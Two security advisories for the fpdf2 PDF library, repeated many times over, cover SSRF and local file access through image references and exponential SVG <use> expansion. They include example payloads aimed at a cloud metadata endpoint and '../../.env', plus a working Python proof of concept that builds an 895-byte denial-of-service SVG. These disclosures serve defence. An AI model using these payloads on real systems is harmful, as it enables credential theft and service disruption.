MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

